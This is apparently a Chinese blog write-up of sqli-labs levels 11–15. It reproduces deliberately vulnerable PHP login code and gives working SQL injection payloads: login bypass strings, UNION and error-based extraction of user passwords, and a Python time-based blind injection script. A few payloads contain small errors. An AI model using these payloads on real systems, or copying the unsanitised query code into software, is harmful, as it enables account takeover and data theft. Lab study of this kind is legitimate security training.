<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);// take the variablesif(isset($_POST['uname']) && isset($_POST['passwd'])){$uname=$_POST['uname'];$passwd=$_POST['passwd'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'User Name:'.$uname);fwrite($fp,'Password:'.$passwd."\n");fclose($fp);// connectivity@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){//echo '<font color= "#0000ff">';echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in\n\n " ;echo '<font size="3" color="#0000ff">';echo "<br>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg" />';echo "</font>";}else{echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysql_error());echo "</br>";echo "</br>";echo "</br>";echo '<img src="../images/slap.jpg" />';echo "</font>";}}?>
关键代码审计
# POST 方式接受变量$uname=$_POST['uname'];$passwd=$_POST['passwd'];# 使用单引号拼接 SQL@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";if true:输出查询的信息else:print_r(mysql_error());
万能密码
# 注释掉 passwd 来登录uname=admin'--+&passwd=&submit=Submituname=admin'#&passwd=&submit=Submit# 注释后面语句 并 添加一个永真条件uname=admin&passwd=1' or 1--+&submit=Submituname=admin&passwd=1'||1--+&submit=Submituname=admin&passwd=1' or 1#&submit=Submituname=admin&passwd=1'||1#&submit=Submit# 闭合后面语句 并 添加一个永真条件uname=admin&passwd=1'or'1'='1&submit=Submituname=admin&passwd=1'||'1'='1&submit=Submit
登录成功
Union注入
passwd=1'union select 1,(SELECT GROUP_CONCAT(username,password) FROM users) #&Submit=Submit&uname=admin

报错注入
passwd==1'AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&Submit=Submit&uname=admin

其实POST注入和GET注入对比下来,注入原理是不变的,变的是位置由GET变成了POST,导致不能直接在url里注入,需要专门的工具burp suite或其他工具更改注入点的参数,达成成功注入。
Less-12(基于错误的双引号POST型字符变形注入)
审计代码
源码
<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);// take the variablesif(isset($_POST['uname']) && isset($_POST['passwd'])){$uname=$_POST['uname'];$passwd=$_POST['passwd'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'User Name:'.$uname."\n");fwrite($fp,'Password:'.$passwd."\n");fclose($fp);// connectivity$uname='"'.$uname.'"';$passwd='"'.$passwd.'"';@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){//echo '<font color= "#0000ff">';echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in " ;echo '<font size="3" color="#0000ff">';echo "<br>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg" />';echo "</font>";}else{echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysql_error());echo "</br>";echo "</br>";echo "</br>";echo '<img src="../images/slap.jpg" />';echo "</font>";}}?>
关键代码审计
# POST 方式接受变量$uname=$_POST['uname'];$passwd=$_POST['passwd'];# 使用双引号括号拼接 SQL@$sql="SELECT username, password FROM users WHERE username=("$uname") and password=("$passwd") LIMIT 0,1";if true:输出查询的信息else:print_r(mysql_error());
万能密码
passwd=123456&Submit=Submit&uname=admin ") --+

Union注入
passwd=1") union select 1,(SELECT GROUP_CONCAT(username,password) FROM users) #&Submit=Submit&uname=admin

Less-13(POST单引号变形双注入)
审计代码
源码
<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);// take the variablesif(isset($_POST['uname']) && isset($_POST['passwd'])){$uname=$_POST['uname'];$passwd=$_POST['passwd'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'User Name:'.$uname."\n");fwrite($fp,'Password:'.$passwd."\n");fclose($fp);// connectivity@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){//echo '<font color= "#0000ff">';echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in " ;echo '<font size="3" color="#0000ff">';echo "<br>";//echo 'Your Login name:'. $row['username'];//echo "<br>";//echo 'Your Password:' .$row['password'];//echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg" />';echo "</font>";}else{echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysql_error());echo "</br>";echo "</br>";echo "</br>";echo '<img src="../images/slap.jpg" />';echo "</font>";}}?>
关键代码审计
# POST 方式接受变量$uname=$_POST['uname'];$passwd=$_POST['passwd'];# 使用单引号和括号拼接 SQL@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";if true:无有效输出else:print_r(mysql_error());
报错注入
改变偏移量 limit 0,1中的0的值, 就可以查看数据库内username和password的信息了
passwd==1') AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&Submit=Submit&uname=admin
注入成功
Less-14(POST双引号变形双注入)
审计代码
源码
<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);// take the variablesif(isset($_POST['uname']) && isset($_POST['passwd'])){$uname=$_POST['uname'];$passwd=$_POST['passwd'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'User Name:'.$uname."\n");fwrite($fp,'Password:'.$passwd."\n");fclose($fp);// connectivity$uname='"'.$uname.'"';$passwd='"'.$passwd.'"';@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){//echo '<font color= "#0000ff">';echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in " ;echo '<font size="3" color="#0000ff">';echo "<br>";//echo 'Your Login name:'. $row['username'];//echo "<br>";//echo 'Your Password:' .$row['password'];//echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg" />';echo "</font>";}else{echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysql_error());echo "</br>";echo "</br>";echo "</br>";echo '<img src="../images/slap.jpg" />';echo "</font>";}}?>
关键代码审计
# POST 方式接受变量$uname=$_POST['uname'];$passwd=$_POST['passwd'];# 使用双引号拼接 SQL@$sql="SELECT username, password FROM users WHERE username="$uname" and password="$passwd" LIMIT 0,1";if true:无有效输出else:print_r(mysql_error());
报错注入
passwd==1') AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&Submit=Submit&uname=admin

Less-15(基于bool型/时间延迟单引号POST型盲注)
审计代码
源码
<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);// take the variablesif(isset($_POST['uname']) && isset($_POST['passwd'])){$uname=$_POST['uname'];$passwd=$_POST['passwd'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'User Name:'.$uname);fwrite($fp,'Password:'.$passwd."\n");fclose($fp);// connectivity@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){//echo '<font color= "#0000ff">';echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in\n\n " ;echo '<font size="3" color="#0000ff">';echo "<br>";//echo 'Your Login name:'. $row['username'];echo "<br>";//echo 'Your Password:' .$row['password'];echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg" />';echo "</font>";}else{echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";//print_r(mysql_error());echo "</br>";echo "</br>";echo "</br>";echo '<img src="../images/slap.jpg" />';echo "</font>";}}?>
关键代码审计
# POST 方式接受变量$uname=$_POST['uname'];$passwd=$_POST['passwd'];# 使用单引号拼接 SQL@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";if true:无有效输出信息else:无有效输出信息
时间盲注
除了sqlmap之外还可以自己编写python脚本
'''看一下脚本- 脚本跑理解扫描的方式: 确定数据库的数量,确定数据库的长度,确定数据库我们可以通过大于数据库的个数这样就不用去判断数据库的长度,之后长度也可以通过时间报错信息去判断,在加上判断 是否是这个字符 一共需要三层循环就可以解决这里有两种方式去判断 ,使用ascii判断 ,或者通过mid 截断去判断。data = {'uname': "admin'and If((mid((select schema_name from information_schema.schemata limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}data = {'uname': "admin'and If((mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}data = {'uname': "admin'and If((mid((select column_name from information_schema.columns where table_name='users' limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}data = {'uname': "admin'and If((mid((select username from users limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}data = {'uname': "admin'and If((mid((select password from users limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}'''#coding:utf-8import requestsfrom time import timeurl = "http://sqli.pte.com/Less-15/"char = "abcdefghijklmnopqrstuvwxyz_"print("start!")for i in range(0,10):database = ""for j in range(1,20):for str in char:time1 = time()data = {'uname': "admin'and If((mid((select password from users limit %d,1),%d,1))='%s',sleep(0.1),1)#" % (i, j, str), 'passwd': "1"}res = requests.post(url,data=data)time2 = time()if (time2-time1 > 0.1 ):database += str#print(database)breakprint("the %d database: "% (i+1))print(database)print("end!")
注入成功
断更!
原因是看了大佬的一篇博客,学习中的笔记如果不是高效的就不必要去记,我陷入了这个误区每次笔记都要想着排版,说明清楚,花费了很大一部分时间去思考。然而该思考的不是怎么记笔记,而是怎么去积累安全经验和基础知识,所以以后的笔记只会记录一些我觉得有价值记录的东西!
